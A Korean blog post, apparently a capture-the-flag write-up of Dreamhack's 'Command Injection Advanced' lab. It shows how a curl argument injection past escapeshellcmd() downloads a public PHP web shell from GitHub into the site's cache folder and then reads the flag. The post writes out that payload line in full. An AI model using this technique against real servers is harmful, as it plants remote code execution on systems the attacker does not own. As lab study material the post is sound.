본문으로 바로가기

Command Injection Advanced 문제 풀이

category 모의해킹/Dreamhack Wargame 2025. 11. 17. 23:02
728x90

문제 설명

Exercise: Command Injection Advanced에서 실습하는 문제입니다.


Write up

인프런 강의에서 Command Injection에 대해 배웠으니 복습하는 겸 Command Injection 문제를 찾았따.

일단 아무거나 입력해보니 http only라는 문구가 출력된다.

php 코드가 있길래 긁어왔다.

입력값이 http로 시작하지 않으면 http only를 출력하고,

http로만 시작하면 입력값을 md5 해시로 계산해서 ./cache/<md값>의 파일명을 만들어 저장한다.

escapeshellcmd()가 보이니 커멘드 인젝션에 흔히 사용하는 기호들이 먹히지 않는다.

http:// 뒤에 아무거나 적었더니 이렇게 출력해줬다.

실행결과를 어디에 저장하는지 알았으니, 웹쉘을 업로드하고 flag를 탈취하면 될 것 같다.

 

웹쉘은 직접 작성하는 방법도 있지만, github에 업로드 되어있는 웹쉘 url을 가져왔다.

https://github.com/WhiteWinterWolf/wwwolf-php-webshell#

 

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell

WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

github.com

 

https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/webshell.php

-o 옵션을 사용해 webshell파일을 /cache/webshell.php로 저장시켰다.

그리고 url을 수정해 cache/webshell.php로 들어가보면,

webshell 파일이 잘 실행되는 것을 확인할 수 있다.

경로가 /cache까지만 설정되어있으니, /flag를 입력하여 내용을 출력한다.

끗!

'모의해킹 > Dreamhack Wargame' 카테고리의 다른 글

image-storage 문제풀이  (0) 2025.11.18
command-injection-chat gpt 문제 풀이  (0) 2025.11.11
error based sql injection 문제 풀이  (0) 2025.11.03
xss-2 문제풀이  (0) 2025.10.29
simple_sqli 문제 풀이  (0) 2025.10.28